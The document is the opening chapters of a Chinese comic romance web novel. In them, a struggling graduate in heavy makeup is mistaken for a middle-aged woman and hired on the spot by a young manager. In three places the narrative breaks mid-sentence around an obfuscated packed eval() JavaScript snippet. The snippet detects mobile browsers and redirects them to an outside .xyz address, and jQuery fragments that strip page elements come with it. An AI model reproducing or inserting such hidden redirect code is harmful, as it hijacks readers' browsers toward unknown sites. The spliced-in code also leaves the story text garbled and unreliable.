《鼓翼之声包月》 1. 第一章 智障美少年 “很抱歉,顾小姐,您的工作经验不符合公司要求……” “顾小姐,虽然我们也招没有经验的应届大学生,但是您的在校表现确实稍微差了一点……” “这位同学,你把SWOT矩阵用成这个鬼样子,还好意思说你自己是工商管理专业的?你们老师怎么让你毕的业?回去多学几年再来吧!” “对,我们确实招应届,但我们公司只要211、985毕业的,别再打电话过来了!连招聘启事都看不明白,还好意思说自己观察细致?鬼知道你简历里注了多少水!” “工商管理我们不要,会计还缺,有会计证吗?没有就赶紧去考一个。销售?销售不用你们本科的,专科生干得好还没你们那么多事儿……行了行了,你想好了再说吧!” “Miss顾,实在抱歉,我们公司要求至少英语口语流利,你的水平实在……” …… “顾妙,你怎么又玩手机?还能不能好好干活了?!” 这一嗓子把顾妙吓得差点把手机给掉地上,她赶紧锁屏,冲着摄影师“嘿嘿”一乐:“抱歉哈,不好意思,最近找工作有点麻烦,多多包涵。” 摄影师脸比炭黑:“你找不着工作,还想连累我们也失业吗?抓紧点!” 顾妙赶紧往放在墙根的包里一扔手机,老老实实站在背景幕布前,像个玩偶一样端起标准微笑脸,不停变换着各种动作,没过几分钟,她觉得自己的脸比打了肉毒杆菌还僵硬。 网店服装模特不是好干的,何况她干的还是最无聊的中老年女装模特。 这家网店的衣服质量不过关,纯棉成分太少,衬衣领子浆得过硬,她感觉自己的脖子都快被磨破皮了。 “不行,这亏心钱不能再挣了。”顾妙一边换着姿势,一边琢磨,脸上挂着笑,心里却快哭出来了,“毕业快一个月了,我什么时候才能找到工作?老天这是要亡我吗?” 棚里又热又闷,她感觉自己快中暑了,癞皮狗一般熬到结束,匆匆忙忙换下衣服,妆没来得及卸,大背头发髻也顾不上拆,抓着背包一路冲了出去。 七月的天气闷热难耐,公交车站挤了一堆晚高峰下班回家的道友,正在为一会儿挤上车蓄力,见到顾妙“60后的脑袋”配“90后的服装”这种横跨三十年的新鲜搭配,不由地纷纷投来关注的目光,还以为这是什么时尚混搭新潮流。 顾妙顾不上“享受”众人目光的洗礼,她低着头只顾翻手机,可惜并没有什么面试通知,也没有亲朋好友的嘘寒问暖,有的只是一条条的应付账单提醒,顿时心里拔凉拔凉的,简直是自带消暑降温功能。 手机一震,是弟弟顾肖发来信息:“老姐,我找了个家教的活儿,学费的事儿我自己搞。找个好工作对你这个学渣来说更重要!” 莫名地,顾妙鼻子一酸,心道:“你才学渣,你全家都是学渣!” 她并没意识到这句话连自己一起骂进去了,这会儿公交车到站,顾妙攥紧手机,大有把自己变成一张公交卡的趋势,被人群拥着推上了车。 她这边还“身如浮萍”没站稳脚,就听后面有人冲着她吼:“化浓妆的这位大姐,您挤什么挤?赶着回家喂奶吗?” 顾妙:“……” 要不是根本回不过身去,她一定好好记住这人的长相,然后用死亡凝视扒他一层皮! 千辛万苦赶到了兼职的酒吧,一看时间,还早到了半个多小时。 顾妙终于放下心来,坐在吧台边上招呼调酒师小刘:“阿刘,来,快给姐姐一杯水,我要渴死了。” 小刘一见她这一脸大浓妆,吓了一跳:“妙妙姐,你这是准备要登台了吗?今天打算演什么?” 顾妙“咕咚”“咕咚”灌了一杯冰水,感觉每一个毛孔都透了气,舒服得要命,便开始放飞自我胡言乱语:“你瞅我这模样还看不出来?这满脸沧桑,一看就是一个为了娃呕心沥血挣钱养家的单身妈妈呀!再找不到工作我就得卖血卖肾去了。” 她一边说,一边拿出小镜子来照了照:“生活不易,大热天的我都成卡粉阿姨了。” 吧台一侧不知道什么时候坐了一位美少年,听了顾妙说的话,微微牵动了一下嘴角,似乎是笑了,只是那笑相当力不从心,随即就还原成了一张忧郁的脸。 顾妙敏锐地抓住了这美少年的表情,偷眼望去,心道真是许久没见过这么帅的人了。 那人皮肤白皙,鼻梁高挺,眼睫毛长长的,垂着眼睛微微颤动着,嘴巴轻轻抿着,侧脸看上去一尊汉白玉雕塑,真是一副难得一见的好皮囊。 “妙妙姐,擦擦嘴,哈喇子都流一吧台了。”小刘体贴地递上一张餐巾纸,“你这妆不卸了吗?” 顾妙的眼睛一致向右看齐,目光似乎粘在那美少年的脸上撕不下来:“不卸了,正好防骚扰。” 小刘分辨不清她现在用脑袋上什么器官在说话,懒得搭理她,跑去给那位美少年倒了杯冰水。 美少年轻啜了一口,刚放下杯子,一直在手里摆弄的手机就响了,看到来电显示,眉毛微蹙:“嗯,是我。” “连说话声音都这么好听……”顾妙两只眼睛变成了桃心,但也知道听墙角不道德,意犹未尽地扭回头,关上耳朵。 谁知美少年却陡然提高了音量:“他这么做太过分了!你跟他说,我机票已经买好了,也跟那边打过招呼。如果临时换人,不是我难看,是公司难看!” 他声音虽然高了一点点,但并不是嘶吼的那种,反而显得声音更加清脆悦耳,虽然在生气,语速却并不快,看上去非常有涵养。 挂上电话,这美少年眉头锁得更紧,顾妙甚至看得出来他的双手在微微颤抖,可见刚刚是压抑了很大的怒火。 谁知接下来他手机又是一响,应该是条信息,这人看完之后直接从愤怒转换成了暴走模式。 于是接下来的五分钟,顾妙听见他毫无章法地跟客服不停在重复“我不要退款,我需要那张机票”、“我再强调一遍,我不要退款,你帮我协调一张机票出来”以及“你不要再说对不起了,我不需要道歉,只需要机票!”。 “完了。”顾妙有些遗憾地看着那位已经不知道该怎么使用人类语言的美少年,失落地想,“暴殄天物啊,美少年竟然是个智障。” 她那深埋在胸口的慈母之心蠢蠢欲动,左右脑相互吵了三秒钟的架,看见帅哥那怅然失落的表情,立刻统一了战线,一致同意她出手帮忙。 “那个……不好意思。”顾妙冲美少年笑了笑,她并不知道吧台的射灯令她那已经脱妆的脸显得略微有一些扭曲,努力做出一副不像套磁搭讪的真诚表情,“你需要买机票吗?” 美少年略带诧异地看了她一眼,顾妙顿时觉得心脏暂停了一下,亲娘啊,这人的正脸比侧脸还好看! “我没别的意思,就是看你有点着急,正好我……” “你可以帮我吗?”美少年认真地看着顾妙,甚至动手从口袋里掏出钱包。 顾妙连连摆手:“不用给我钱……” “这是我的身份证。”美少年把手里的卡片递给她,表情非常诚恳,毫不掺假,“谢谢了!” “用不着用不着!”顾妙顾不上尴尬,心想这孩子怎么这么胸无城府呢,赶紧把他的手推了回去,“一个人出门在外的,个人隐私要注意保密!万一我天赋异禀,把你身份证号背下来呢。” 美少年眼中闪过一丝迷茫:“你会吗?” “逗你玩。”顾妙觉得这对话没法进行下去,从包里掏出笔,在餐巾纸上写了个电话,递给他,“你打这个号码找王经理,说是妙妙姐介绍的,跟他说你的需求就行了。” 待美少年离去,小刘脸上挂着不怀好意地笑,凑了上来:“妙妙姐,日行一善啊?” “只要人人都献出一点爱,世界将变成美好的人间。” “过于老气横秋了姐,是要跟今天的妆做搭配吗?” 顾妙狠狠地冲小刘一瞪眼,冷不丁耳边有个声音突然叫她:“大姐……” 一天之内竟然被人两次称呼“大姐”,顾妙作为一个妙龄少女是可忍孰不可忍! 她青筋暴跳地回头正要冲那不长眼的人狮子吼,便看见美少年那一张人畜无害的脸,所有怒火顿时消失于无形,整个人从里到外化成一只小绵羊,变脸速度比闪电侠还快。 “怎么样了?解决了吗?” 美少年眼角眉梢挂着笑意:“嗯,谢谢您。” 他说话的时候目光十分专注,表情非常诚恳,竟有一种说不出来的郑重其事。 顾妙一时之间不知道如何反应,尴尬地撩了撩头发:“举手之劳,不足挂齿。” “您是在旅行社工作?” “那倒不是,我以前在那打过……”顾妙想起自己的尊容,硬生生地把“工”字咬断咽了回去,高深莫测地说,“唔……我以前帮过小王,找他买张票不算什么。” “这样就好,我还担心因为我让你欠别人的人情,这样我就过意不去了。”美少年松了口气,眼角眉梢微微挂起了笑意,在灯光下美好的五官更加生动。 “放心吧,路见不平一声吼……”顾妙还没说完,便听到旁边小刘故意大声地咳嗽了一下,突然意识到自己再度过分暴露了本性,便抿起嘴来微微笑了笑,像个正常人一样说道,“没事。” 美少年犹豫片刻,试探地问道:“之前我进来的时候,听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459378|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说你正在找工作,我能冒昧地问一下,您找哪方面的工作吗?” “工……呃……管理。” 每次跟人说自己的专业,百分之八十的人都会追问一句“是不是出来去工商局上班啊”,为了避免麻烦,顾妙主动去掉了“工商”两字。 “哦……您对工作岗位有什么要求吗?” 顾妙觉得有点尴尬:“别称呼‘您’了,我听着别扭。” “好。”美少年轻轻笑了笑,从善如流地改了称呼,“我没别的意思,也不是一报还一报,就是我这边正好有个工作岗位,又见你正在找工作,所以顺便问问。你这么热心助人,办事又干净利落,哪个公司聘用你,都是收获一名得力干将。” 这也太容易相信人了吧?顾妙傻了眼,心想,等下,刚刚那些词,是形容我的? 美少年见顾妙发愣不说话,还以为自己表现得不够诚恳,继续说道:“介不介意来我们公司做总经理助理?朝九晚五,不经常加班,不会影响你带孩子。加班另有加班费,五险一金交足,月薪税后一万五,合同一年一签,你看行吗?” 小刘在旁边听着,眼珠都快瞪出眼眶了,他大张着嘴,一脸震撼地转头看向顾妙。 什么?他把我当成白领精英了吧?这可是天大的误会!我芳龄才22啊!唉,都是没卸妆闹的! 顾妙听他越说越离谱,正想打断他,接着便听到了那“月薪税后一万五”几个字,顿时嘴巴就背叛了她的大脑,脱口而出,“行!” “妙妙姐!”小刘诧异地喊道。 顾妙心里泪流成河,心道:“别喊我,我不知道该怎么解释!” “太好了!”美少年像解决了什么大难题一样,笑得更加开心,向顾妙郑重地伸出手,“欢迎加入我们公司。” “那什么,我问一下,你们总经理是谁啊?你这么替他决定不太好吧?”顾妙握住美少年骨节分明的手,干巴巴地问,试图找个转圜的余地。 “是我。” 顾妙看着言笑晏晏的美少年,顿时觉得自己才是个智障。 美少年从怀里掏出一张名片递给她:“抱歉,这是我爸的名片,我的还没印好,匆匆忙忙上任,见笑了。这上面有地址,手写的那串是我的手机号,第一次去公司的时候你比较好找。以后有你帮我,我就放心了。” 顾妙接过名片,上面写着“董事长魏远生”,感觉腿一软。 原来美少年不是智障,是地主家的傻儿子。 她这么欺骗人家的傻儿子,不太好吧…… “那个,我其实……” “哦对了,你看我这脑子,我叫魏如栩,栩栩如生的如栩,很高兴认识你。” “呵,我也很高兴……” “加个微信吧,我扫你。” “不不不,放着我来。” 魏如栩的微信头像是个看不出名堂的色块,看上去配色很舒服,但给人感觉有点复杂,像是很多种颜色的叠加。他的微信名就叫“如栩”,显得不是很有创意。 顾妙:“用本名啊?” “要通过微信联系工作,公司前辈建议这么改的。” 魏如栩盯着手机,看到顾妙的头像是一只比较抽象的鸟,微信名居然是“放开老娘的隐形翅膀”,不由笑了声,“姐,你的昵称挺活泼的。” 顾妙:“……” 坏菜了,感觉有点丢人。 顾妙有换昵称的爱好,最近因为找工作屡屡碰壁,总觉得不被人赏识,就换了这么一个二百五爆棚的昵称泄愤。 可谁能料到她在酒吧就能捡到一个老板呢? “……呃,家里人给取的,不让改。”顾妙强行找借口,“说是可以从心态上保持年轻。” “好主意。”魏如栩点头表示肯定,神色很是认真。 顾妙觑着他的表情,心里一阵打鼓。 “对了,如果你方便的话,能不能明天就陪我一起出差?你买票也很方便嘛是不是,刚才我订的头等舱,你和我一样吧,公司报销。”魏如栩似乎有点不好意思,“抱歉,本来不想这么急,可我没什么经验,希望你能尽早来帮我。可能还需要你帮我写一份发言稿,不用多,十分钟时长就可以。妙妙姐,你看行吗?” 他的声音十分温柔,说起话来似乎有一种魔力,不知道顾妙是颜狗没下限还是心怀歉意,总之是没办法对他说“不”,于是她又鬼使神差地点了点头:“行。” “太棒了,一会儿我把航班信息和发言稿要求发给你,明天见。”魏如栩冲她挥了挥手,莞尔一笑,转身离去。 顾妙看着他的背影,整个人呈石化状,欲哭无泪,内心咆哮:“亲娘啊,这都什么事啊!” 2. 第二章 苏菲的抉择 顾妙被小刘念了一晚上“钱串子”“不择手段”,顶着一脑门官司踏着夜色回到了家。 顾肖刚洗完澡,头发梢还挂着一点湿意,坐在灯下为了暑期家教生涯卖力备课。听到顾妙进门后,头也没回地隔墙跟她打了声招呼,过了一会儿才发现不对劲。 这个活猴子一般的女人向来不用问就跟自动答录机似地喋喋不休说着当天遭遇的各种事情,今天却一反常态地坐在门口穿鞋凳上发呆,老实得过于诡异。 事出反常必有妖。 “姐,”顾肖拿了块冰镇西瓜递给三魂七魄离家出走的顾妙,对她的大浓妆视若无睹,好奇地打探,“出什么事了?” 顾妙挥了挥手,表示朕心甚忧,食不下咽。 顾肖也不勉强她,自己啃了一口西瓜,叹了口气:“说吧,捅了天大的篓子,我不也得给你补嘛。你是我姐,我又打不过你,还有什么不敢说的。” 顾妙揉了揉太阳穴,整理了一下语言,尽量删去自己发花痴的部分,平铺直叙地把下午发生的事情告诉了顾肖。 “我就一个问题,”顾肖把西瓜子吐进手心里,好整以暇地看了顾妙一眼,“那位大哥到底有多帅?” 顾妙清了清嗓子:“咳咳……这题超纲了啊!” 顾肖看着顾妙花红柳绿一张脱了妆的大花脸:“不对,我还有一个问题——那位大帅哥是不是瞎?” 魏如栩要是知道自己今晚被人从智障美少年、地主家的傻儿子和瞎眼帅哥之间念叨了一个遍,不知道会作何感想。 顾妙抬手就要给顾肖一个手刀,被顾肖灵巧地躲开,顺手将西瓜皮扔进旁边厨房的垃圾桶里,冲顾妙做鬼脸:“没打着!” “你说这是为什么啊?那人怎么一点防备心都没有?”顾妙苦着脸,“怎么能这么轻易接受别人好意呢?没说两句话,身份证都递上来了。买张机票嘛,又不是多困难,他冷静下来自己也能想到办法。总经理助理很难招吗?不要钱吗?就这么送给一个陌生人了?” 顾肖听着有点迷惑:“姐,你是担心他,还是担心你自己?” “要不,我发短信告诉他我干不了吧,别耽误人家的事。”顾妙话刚说口,又自己推翻了,“不行,临时尥蹶子,实在太坑人了。听起来他行程应该挺紧,估计一时半会找不到人。不就是写一篇发言稿嘛,这个我能做到。” “可是接下来怎么办呢?难道我真的假装四十岁大姐去他公司上班?不去的话找什么借口?看他挺着急用人的,我这么做岂不是要让他失望了?” “打住打住!吁——”顾肖突然喊,在顾妙头顶摩挲了一把,“再想下去我怕你过热死机。” 顾妙没好气地冲他翻了个白眼,一反常态地没怼他。 “我觉得你想得有点多。”顾肖在她旁边坐下,语气十分正常。 “怎么说?” “以你的聪明才智,干不到一个月可能就得被开除了,瞎操什么心!” 顾妙:“……” 这弟弟还能不能要了?掐死他能少判两年吗? “可是……”顾妙犹犹豫豫地说,“月薪一万五啊!还是税后!我真有点……” 顾肖的表情严肃了起来:“顾妙,我跟你说了多少次,咱不缺钱。爸妈虽然走得早,但也还是有存款的。我也不再是高中生了,能打工,能挣生活费。我不想再看你为了挣那仨瓜俩枣的醋钱酱油钱到处打零工,要不是因为这些耽误你实习考证,你能到现在都找不到工作吗?本身就不是重点大学毕业生,自己不能有点风险忧患意识?!” “肖嬷嬷人生讲堂又开课了么?” 顾妙心里郁闷,臭小子不当家不知柴米贵,光指着存款能活吗?那还不是爸妈给你留的老婆本,就这点我还怕不够呢!要是你将来因为穷娶不上媳妇,我怎么跟爸妈交代?你个死码农将来等你挣大钱,那颜值还能在吗? 想到这儿,顾妙一时走神,伸手摸了摸顾肖清秀的少年脸:“没大没小的,叫姐!姐还得攒钱给你买高质量的假发呢,吸汗又透气的那种,不闹了,乖啊!” 顾肖知道她又要放出“王顾左右而言他”的大招,恼火地一巴掌拍掉她的爪子,气得台词不慎拐到了偶像剧剧本上:“你这个女人,脑子能不能清醒一点?!” “我怎么不清醒了?为了尽早跟这个社会和谐相处,我做到了很多努力你没看到吗?”顾妙委屈巴巴,“你看我有导游证、咖啡师证、调酒师证,还跆拳道红带,走遍天下都不怕……” 顾肖冷冷瞟她一眼,抱起胳膊:“你老人家多厉害啊,可怎么现在连个正经工作都找不上?” “行业不分贵贱,你这孩子思想有问题啊,这种刻板印象要不得……” “哼,你倒是没有刻板印象,怎么听了税后一万五的月薪就什么都从了呢?” 顾妙:“……” 她按住太阳穴暴跳的青筋,决定不跟狗嘴里吐不出象牙的熊孩子一般见识,此等人生大事还是得找更成熟一点的人商量。 于是顾妙丢下气成球的顾肖,穿着拖鞋跑出凌波微步的效果,冲进了自己的卧室,打开视频电话呼唤远在澳洲的小姨。 小姨名叫凌晏如,早年研究生毕业后光速结婚,和爱人一起移民澳洲,努力打拼开了一家小餐馆。只是这些年两人之间一直没孩子,婆家似乎不太满意。 好在小姨这个人心大如斗,每次跟她聊天,都觉得她过得挺开心,顾妙也就没有太挂念。 电话一接通,一张蒙着面膜的鬼脸赫然出现在屏幕上,背景阴暗,那面膜似乎还有点荧光效果,把顾妙吓得退避三尺,差点请出祖传桃木剑。 “小姨,你的面膜是不是荧光剂超标啊?” “死丫头,瞎说什么,我这面膜贵着呢!你姨夫不知道抽什么风,在客厅装了一盏黑光灯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所以她尽快联系了魏如栩,要到了航班信息,跟王经理打了电话给自己定了有生以来第一张机票,也是第一张头等舱票。 “起点很高嘛顾小妙!”洗完澡换好衣服,她望着镜子里的自己,像小时候每次参加比赛之前给自己做战前动员,“你虽然不是学霸,但是把弟弟养成了个学霸;你虽然专业上差点意思,但你至少是个靠谱的人呀!加油,你能行!只要功夫深,铁杵磨成针!世上无难事,只怕有心人!” “我看你是牡丹花下死,做鬼也风流吧!”顾肖的声音阴恻恻地从门外传来,吓得顾妙的鼓气法阵一秒破功,扭头隔着门对那不知死活的小崽子爆发灵魂诘问,“颜狗招你惹你了?你通宵下片儿的时候我笑话过你吗?!” 房间里死一般寂静,被戳到痛点的顾肖同学自知战斗力不如姐姐,机智地选择了沉默。 顾妙回到卧室,手机恰好响了两声,是魏如栩的信息。他把这次要参加的会议简介发给了顾妙,大致说了一下发言稿的要求,用词十分斟酌,显得又礼貌又亲切。 “多好的老板。”顾妙抱着手机,心头扫过一丝歉疚,“找个机会跟他说年龄的事吧,特意说显得有点奇怪。但反正是不能骗他。” 可她转念一想:“我这青春娇艳的容颜,从哪个角度看都不会是四十岁的大姐呀,只要老板不真瞎,怎么可能看不出来?” 3. 第三章 亲人 顾妙望向梳妆台,镜子里的女孩穿着卡通睡衣,皮肤白瓷一般光滑细腻,虽然主人经常粗暴地往脸上揉搓各种劣质化妆品,但却从未留下半点瑕疵。鼻尖小巧俏皮,樱桃小嘴长得很文静,谁也想不到常常从里边蹦出各种匪夷所思的虎狼之词。 顾肖遗传父亲,是内双丹凤眼,不说人话的时候配上眼神加持气场两米八,自带凌厉效果,看人一眼能把人顶个跟头。 而顾妙眼睛很大,完美遗传了小姨和母亲的优良基因,笑起来眉眼弯弯,只要不说话,完全是青春可爱派的代言人。 “魏如栩这个人,一定是被家庭保护得很好的那种,涉世未深,所以才看起来傻得冒泡吧?”顾妙自顾自想着,把魏如栩给的资料转到电脑上,又翻出一堆大佬演讲,开始比着葫芦画瓢,认真地打起草稿来。 早上七点不到,催命般的视频电话铃声把顾妙从甜美梦乡叫起来。 她迷迷糊糊看了一眼手机,接通电话放在枕头旁边:“小姨……你是属公鸡的吗?我昨晚快两点才睡……” “谁叫你睡那么晚,再熬夜不怕一头秀发掉光了?小心顾肖还没秃,你先秃了!”凌晏如振振有词,让人无法反驳,“就怕吵醒你,我好不容易熬到九点才给你打电话。” 顾妙只觉得心累:“有种东西叫做时差……” “不说废话了,昨晚电话挂得太着急,我想了一夜,有些事得嘱咐嘱咐你。” “你说吧,我听着。”顾妙翻了个身,把脸埋在枕头里。 “我觉得你真实年龄还是先别让那个老板知道了,现在也不清楚对方的底细,这人又这么自来熟,我担心你上当。再说,劳动合同还没签,就着急让你跟他出差,万一其中有诈怎么办?”凌晏如忧心忡忡,这个外甥女虽然不傻,但毕竟接触社会也不过几年,也没经历过多少事,自以为聪明更容易被人坑。 “骗人……不太好吧……” “这叫个人隐私,他不问,你不说,不能叫骗人。再说,他要是图你的工作能力,管你多大婚否呢?现在传销组织那么多,你自己当点心啊!” “皇小姨,朕也不傻,哪有请人坐头等舱的传销组织,你多虑了……” “什么皇小姨,你个学渣气死我了。”凌晏如那端传来“咔啦”“咔啦”的声音,听起来像是在捏手指关节,准备把她这个不学无术的外甥女皇上给暴揍一顿,“那头等舱的钱不是你先垫的?” 叫她这么一说,顾妙后知后觉地感觉到了心疼……昨晚神情恍惚,一时大意了。想起那些钱,她顿时睡不着了,一骨碌坐了起来。 凌晏如继续说道:“不跟你废话,就按我说的办。你什么都别跟他多说,尽量多了解他那边的情况,劳动合同也别随便签,等确定是个靠谱公司、老板人好又确实愿意留下你再说。你还是应届毕业生,别给自己留下频繁跳槽的黑历史。” 顾妙:“……” 她觉得小姨可能想得有点多,好像还在咒自己干不长。 “总之你不要轻易签任何卖身契,包括社保,要是老板问你,你就说挂在代理公司了,不想挪来挪去太麻烦。”凌晏如想了想,觉得该说的点都说到了,补充一句,“其他的也没啥,反正你会点功夫,那人要是图谋不轨,你也不用手下留情。要是他真像你说的那么帅,你自己考虑吧,占他点便宜也行。” 顾妙觉得自己三观碎了一地,幽幽地说:“小姨,你是存心想把我妈气活过来吧?能不能顺手捎上我爸?我怪想他们二老的。” “母胎solo,鄙视你。” 顾妙快心梗了,简直想拨打110,告诉警察叔叔这里有个教人堕落的妖女。 “小姨,你说了这么多,可是忽视了一个最重要的问题。昨天我是因为装中老年模特才会被人误会,今天老板一见你外甥女我这青春无敌的素颜,除非他瞎到三千度加重度脸盲,否则一眼就能看穿我的谎言。此题何解?请作答。” “可拉倒吧你,亏你对自己那么盲目自信。”凌晏如清了清嗓子,“听好了,第一,你妈衣柜里有不少职业套装,她瘦,你高,四舍五入应该合适;第二,你别素颜,化妆的时候眼妆上下点功夫,但也别搞成昨天那副要登台的模样,这个回头我发你视频,你照着画……” “那岂不是每天都要戴着假面具?”顾妙嘟囔了一句。 “什么假面具,上班要有上班的样子。别插嘴,听我说完!”凌晏如隔空甩过来一记眼刀,“第三,现在奔四的姑娘未婚的多得是,外形像少女的也很多,别搞歧视;第四,现在四十岁以上家庭妇女通过健身重塑青春让人猜不透年龄的也不少,综艺节目上不也常见吗?只要你老板是个正人君子,绝对不会去纠结你的年龄,OK?” “广告公司也得穿职业套装吗?”顾妙极其不情愿,“我可不想每天都当中老年服装模特。” 凌晏如眨了眨眼:“哦,是家广告公司啊?没关系,你有钱的话,可以买时髦的职业装啊!当个穿Prada的女魔头,每天换一套行头,闪瞎所有人的钛合金狗眼。” “你个万恶的资本主义餐馆老板,歧视我们苦命的贫下中农,我代表我弟跟你划清界限!” 顾妙挂了电话,想了想小姨说得也有道理。她跟魏如栩素昧平生,想必也不用这么掏心窝子。 为了避免不必要的麻烦,她还是翻箱倒柜地把母亲以前的衣服找了出来,几条连衣裙看上去落落大方,有领有袖,既适合上班,也不显老气。 折腾完之后,她拖出行李箱,开始打包。 没过一会儿,凌晏如果然发过来一段视频,是一个美妆博主录的成熟妆造型。 顾妙耐着性子看完,觉得整体学下来难度系数偏高,尤其对她这个手残党来说,匆忙上阵只能再现昨晚的浓妆盛景。 于是她独辟蹊径,只学了一点眼影和眼线的画法,又找出卷发棒,费了半天劲把她齐腰的黑长直烫成了中老年妇女泰迪卷。 最后找出前阵子赶时髦买的吃土色,配上她涂得过白的面颊,成功地化身为了一名气血两虚的病秧子。 顾肖敲门进来,看见她这副尊容,眼珠子差点没翻到后脑勺去:“姐,要我买二斤阿胶给你补血吗?” “驴皮不行,得用心头血滋养。”顾妙对着镜子,认真画着睫毛膏,“是时候考验你对姐姐的爱了。” “爱没有,嫌弃一箩筐,你要吗?”顾肖坐在床上,抱起手看着顾妙化妆,欲言又止三次之后,还是忍不住问,“你真的要假装中老年妇女去挣一万五?” “不是假装,是让别人以为我是中年妇女,这样安全系数高,要不然你姐我这么青春貌美,跟陌生男子一起出差,你不觉得很危险吗?” “哼,我只觉得陌生男子跟你在一起很危险。” 顾妙自动忽略他这句没营养的话:“一万五也不一定能挣得着,我主要是昨天一冲动答应人家,不好意思反悔,之后怎么样再说吧。” 顾肖忧心忡忡:“那人不会别有用心吧?这事儿怎么想我都觉得很离奇。他贵为一个总经理,雇人可以这么草率?跟从大街上直接拉人有什么区别?不会是什么拆白党吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459380|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “拆白党也找不上我啊,我看起来像有钱人吗?”顾妙放下睫毛膏,叹了口气,“我也是觉得我实在没什么可让人骗的,才敢大胆走这么一遭。万一人家真的急需找人帮忙,我也算是行善积德了,你说对吧?就算是被骗,我也就损失一张机票钱,至少自己不用良心不安。吃小亏是福,放心吧。” 顾肖怔怔地看了顾妙一会儿,半晌才艰难地吐出一句话:“真想看看这个魏如栩到底帅成什么样。” 等下,标准答案不应该是“姐姐你真善良”或者“姐,你一定好人有好报”吗? 顾妙觉得可能今天睁眼姿势不太对,亲小姨和亲弟弟争先恐后想送她进医院做心脏搭桥。 缘来一家人,血液里传承的怼天怼地不说人话,骗不了人。 可能我是捡来的罢! 顾妙心累得不想说话,继续收拾行李。 顾肖不肯走,盯着她的脸看了半天:“要不你还是换个口红吧?” “怎么了?”顾妙回身对着镜子照了照,“我的人设是个带着孩子的单亲妈妈,搞得虚弱疲惫一点不是很合理吗?” “你可能是对虚弱疲惫有什么误解……”顾肖凌厉的眼神从她吃土色的嘴唇上掠过,“我觉得你倒像是个肺痨鬼,靠近你十步以内必被传染。” 顾妙郁闷了:“那怎么办?你个铁直能提供点有建设性的建议吗?” 顾肖起身到她梳妆台上扒拉了一番:“哟喂,你这都是些什么颜色?还有死亡芭比粉?” “你不觉得你对口红色号过于了解吗?”顾妙坏笑一声,“这个技能点加得令人迷惑啊小弟。” “皇姐,你脑子里装的都是什么垃圾?”顾肖扒拉半天,皱着眉挑出一管口红,拧开看了看,叹了口气,“就它吧。吃了死孩子的老妖怪,也比命不久矣的肺痨鬼强。” 顾妙半信半疑地接过来:“不会太鲜艳吗?” “四十岁的大姐就不能鲜艳吗?我发现对女人有偏见的往往都是你们自己。”顾肖看到梳妆台上摆着的全家福,“咱妈四十岁的时候就还是那么好看,那天咱一家去影楼拍照,摄影师还以为她是咱姐,你不记得了吗?” “妈妈是好看,永远都不老。”顾妙望着照片,突然就有点伤感。 顾肖双手按着她的肩膀,表情认真:“别放弃自己,你还能再抢救抢救。” 顾妙一把拉住他,把口红递到他面前:“话说……老弟,你知道这是什么色吗?” “我不想说。”顾肖咬了咬牙,表情突然有点狰狞。 “过生日那双球鞋还想要吗?” “你要再逼我,姐弟情可就破碎了。” “破碎就破碎,反正我省钱我开心。” “你……”顾肖恶狠狠地瞪着顾妙,想想自己惦记了快一年的球鞋,不由地哀叹人在屋檐下不得不低头,满眼煞气消散,嚅动着嘴唇,降低了三个key,以细如蚊呐的声音不情不愿地说,“姨妈色。” 顾妙看着他仓皇而逃的身影笑得直不起腰来,随后擦掉嘴唇上的吃土色,涂上了姨妈红,对着镜子照了照:“确实还不错,气色好多了。” 坐上机场大巴以后,顾妙收到了顾肖发来的信息,先是一张机场安检须知,接着是一张头等舱服务介绍。 顾肖:“以上信息请反复阅读,谨慎参考。请勿在人前露怯。” 顾妙刚想回他个白眼的表情,顾肖的另一条信息悄然而至。 顾肖:“注意安全啊皇姐,千万别被美色冲晕头脑。” 嗯,还算有心。 4. 第四章 原因 魏如栩发来了微信,告诉顾妙在头等舱休息室等她。顾妙高悬的心放了下来,至少在安检等环节不会被他看出来自己是第一次坐飞机。 从VIP通道里出来,她径直去了头等舱休息室,刚一进门口,就看见魏如栩坐在角落的沙发里,正低头看一本书。 与昨天的打扮不同,魏如栩只穿了简单的白色宽松T恤和蓝色破洞牛仔裤,看起来就像一个清爽的大学生。他低垂的眉眼十分精致,只是低头看书的姿势,好看得就像一幅画。 一瞬间顾妙脑子里好像闪过无数弹幕,没文化地千篇一律刷着那句“陌上人如玉,公子世无双。” “哇……哇……” 突如其来的画外音打断顾妙欣赏美景,她一扭头,旁边一个妈妈焦虑地抱着一个三岁大的娃娃,手里拿着一个小人儿玩具,不知所措地逗着狂哭不止的孩子,像是怕吵到休息室的人,脚步匆忙地往外走。 “不哭不哭,你看妈妈不是给你拼好了吗?别哭了……”这位妈妈在众人的注目礼之下着实尴尬,恨不得能给自家娃一键消音。 可惜孩子不领情,脸色通红,涕泪横流,脑袋摇得像拨浪鼓,一直把妈妈手里的玩具往外推。 顾妙看不下去:“不好意思,这个玩具拼错了,我……” 那妈妈见有人解围,忙不迭地把玩具塞进顾妙手里:“麻烦你。” 顾妙摆弄三两下,把小人儿错了的手臂归位,身体扭正,递到孩子面前轻轻一晃:“怎么样?” 